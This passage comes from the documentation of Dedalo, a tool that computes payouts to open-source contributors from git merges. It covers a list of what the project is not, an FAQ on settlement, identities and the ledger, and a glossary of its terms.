- A hosted service. Dedalo runs in your pipeline and reads your repository. A dashboard that holds the data is the thing this project exists not to be.
- A signing key, ever. Not as an opt-in, not behind a flag. See why.
- A token. The protocol fee flows to an Open Collective wallet. There is nothing to buy.
- Judging contribution. Dedalo computes what a config says. Whether the config is fair is the project’s decision, made in the open, in a file that is reviewed.
FAQ
Does Dedalo hold my money?
No, and it cannot. It holds no signing key — not in CI, not in config, not
on a maintainer’s machine. dedalo propose prints transactions; people execute
them from a multisig. There is no flag that changes this.
Can I use it without any crypto?
Yes, for everything except settlement. plan, contributors, scan, verify
and the whole ledger work offline with no chain involved. Plenty of projects
will get value from “who contributed what, computed the same way every time”
without ever funding a round.
The [wallets] addresses are required by the config, but the zero-address
placeholders are fine if you never settle.
Is it live? Can it pay people today?
The pipeline is live. On-chain broadcasting is not. The evm backend
validates the config, builds the exact call a plan translates into, and then
returns NotImplemented rather than a fake receipt. The claim contract is
unaudited and undeployed.
Why does the same command give a different plan id?
Something that goes into the id changed: a new merge landed, or dedalo.toml
changed. The id covers the project, asset, range, split and items — not the
timestamp. git diff dedalo.toml and compare range.to_commit.
Why is a contributor missing from my plan?
Almost always because no identity links their email. Check:
dedalo identity missing
They are not dropped — they are in plan.unresolved, and their share is in
undistributed.
Someone commits from three different emails. Do they get paid three times?
No. One handle, one wallet, many emails, and contributors are merged into a single item before the plan is finalised. Addresses compare case-insensitively, so the two EIP-55 spellings of one account are also one payee.
Does it work with squash merges?
Not today, if your repository squash-merges without creating merge commits. Attribution reads merge commits, and a squash-only history has none — which currently produces an empty round rather than an error. That is issue #13, and it is a real gap.
What about rebase merges?
Same problem, same issue.
Why not just count commits?
Because a commit is not a decision. A merge is the moment a project has already decided the work was worth having — reviewed, dated, attributed. Counting commits pays for typing.
Does it pay reviewers?
Not yet, and this is the largest known gap in the model. Review-weighted attribution is tracked. Until then, a project that wants to reward review can do it from the treasury slice every round sets aside.
Can a contributor game the scoring?
Partly, and the honest answer is in the threat model.
max_points_per_merge caps any single merge. Nothing prevents verbose code —
but the merge had to be reviewed, and a project merging padding has a review
problem rather than an attribution problem.
Why basis points instead of percentages?
Because a percentage invites a decimal, and a decimal in a money path invites a
float. Basis points are u16 integers: 10,000 = 100%, and every value of them
is proved to round down.
Why is .dedalo/ committed? Isn’t that noise in my diffs?
It has to be committed, or a CI job that clones fresh cannot see past rounds and would pay them again. The objects are plain JSON rather than compressed blobs so a round is reviewable in a pull request — which is most of the value of having them in the repository at all.
Can I edit .dedalo/ to fix a mistake?
No. Editing an entry breaks its hash, and every entry after it. That is the mechanism working. If a round was wrong, the fix is a new round, and the record of the wrong one stays — that is what a ledger is.
What happens to money for someone who never links a wallet?
Under the pull model, it stays in the round against the Merkle root until they claim it, or until the 180-day claim window closes and the depositor sweeps what is left. It is not silently redistributed and it is not sent to the treasury.
Why 180 days, and why can’t I change it?
Fixed rather than chosen by the depositor, because a depositor who could choose the window could choose one that closes before anybody claims.
Which chain does it use?
Undecided, and that is deliberate. The template names Base and mainnet USDC — a default that was never chosen on purpose and should be before anyone broadcasts. Issue #15. The address layer knows about address formats, not one chain.
Is there a token?
No. The protocol fee flows to an Open Collective wallet. There is nothing to buy.
Is there a hosted version?
No, and there is not planned to be one. Dedalo runs in your pipeline and reads your repository. A dashboard that holds the data is the thing this project exists not to be.
How do I check that a project’s published rounds are real?
Clone it and run dedalo verify, then recompute a round and compare ids. It
takes about ten minutes and needs nothing from the maintainer. See
Auditing a project.
Where is the API reference?
docs.rs/dedalo, versioned per release. This handbook is the narrative documentation; the reference is generated from the source.
I found a wrong amount. Where do I report it?
Privately, as a security advisory — never a public issue. A payout that pays the wrong amount, the wrong address, or twice is a security issue here, and so is credit assigned to the wrong person. See Reporting a vulnerability.
Glossary
Amount — an integer count of base units of an asset. Never a float. → Money
Asset — the token contributors are paid in: symbol, decimals, chain, and an optional contract address. Omitting the contract means the chain’s native coin.
Attribution — turning merge history into integer contribution weights. Does not know money exists. → Attribution
Base unit — the smallest indivisible quantity of an asset: wei, satoshi,
USDC micro-units. decimals says how many make one display unit.
Basis point (bps) — one hundredth of a percent. 10,000 bps = 100%. Used instead of percentages so a share is always an integer.
Claim — a contributor taking their share out of a deposited round, proving membership against the round’s Merkle root and paying their own gas.
Claim window — 180 days, fixed. After it closes, the depositor may sweep what was never claimed. Fixed rather than configurable because a depositor who could choose it could choose a window nobody could claim within.
Content-addressed — identified by a hash of its own contents, so the name changes if the thing changes. Plans and ledger entries both are.
Co-authored-by — a git commit trailer naming additional authors. Splits a
commit’s score when split_with_co_authors is on.
Dry-run — the default settlement backend. Computes and verifies everything a real settlement would, and moves nothing.
EIP-55 — the Ethereum address checksum, encoded in the capitalisation of the hex letters. Digits carry no checksum, so an address’s protection depends on how many letters it has. → How strong is the checksum
Engine — the type tying a repository, its config and its ledger together. The shortest path through all four pipeline stages.
Exhaustive — a verification method: every value in a complete finite domain was tried, so no counterexample exists in that domain. Stronger than property. → Verification
Fee schedule — protocol_bps and treasury_bps. Taken off the top of every
round, in that order, rounding down.
Gross — the full size of a round, before any cut.
Handle — the label a contributor appears under. Usually a GitHub username; nothing checks that, and it is not part of the plan id.
Identity — the mapping from one or more git emails to one wallet, under one handle. The only part of a round a human types in.
Largest-remainder method — how an amount is split across weights: floor each share, then hand out the leftover base units one at a time to the largest fractional remainders. Guarantees the shares sum to exactly the input.
Ledger — the hash-chained record in .dedalo/. Each entry names its parent
and hashes over it. → The ledger
Merge event — one merge commit on the tracked branch, with the commits it introduced, their authors and trailers, and its diff against its first parent. The unit Dedalo pays for.
Merkle root — the root of the tree of (address, amount) claims for a
round. Deposited on chain; contributors prove against it.
Milli-point — the unit of attribution scores. 1 point = 1,000 milli-points,
stored as u128, so scoring is integer arithmetic on every machine.
Payout plan — the auditable artifact between git history and a transaction. Pure data, content-addressed. → Payout plans
Plan id — a plan’s content hash, prefixed ded1. Excludes created_at,
handle, score and unresolved — see what is in it.
Property test — generated inputs, thousands of samples. Not a proof: a rare counterexample can survive one, and one did.
Protocol fee — the share of every round routed to the network’s own Open Collective. What makes the network self-funding rather than grant-dependent.
Pull model — a round is deposited once against a Merkle root and each contributor claims. The alternative, push, sends N transfers and has a half-finished state. → Funding from a multisig
Refusal — one of the ways the vault says no. Each has a distinct sentence, and a test asserts no two share one. The enum is the vault’s specification.
Round — one funding cycle: a range of merges, an amount, a plan, and a settlement.
Settlement — the fourth stage, and the only one with side effects. → Settlement
Stylus — Arbitrum’s WebAssembly smart-contract environment. What the deployable compiles to, under a hard 24 KiB compressed limit.
Treasury — the project’s own reserve, funded by treasury_bps of every
round.
Undistributed — the part of the contributor pool that reached nobody, because whoever earned it has no wallet on file. Stated in the plan, never absorbed. Under the pull model it means “not claimed yet”, not “lost”.
Unresolved — the list of contributors who earned a share and could not be
paid, with a reason: no-wallet, excluded or ignored.
Vault — the rules a deployed contract enforces, written as pure Rust in
src/chain/vault. The deployable in src/chain/contract is a thin binding
around it.
Verification manifest — verification.toml, which records how every module
is verified, and the gate that fails the build when a module is unaccounted
for. → Verification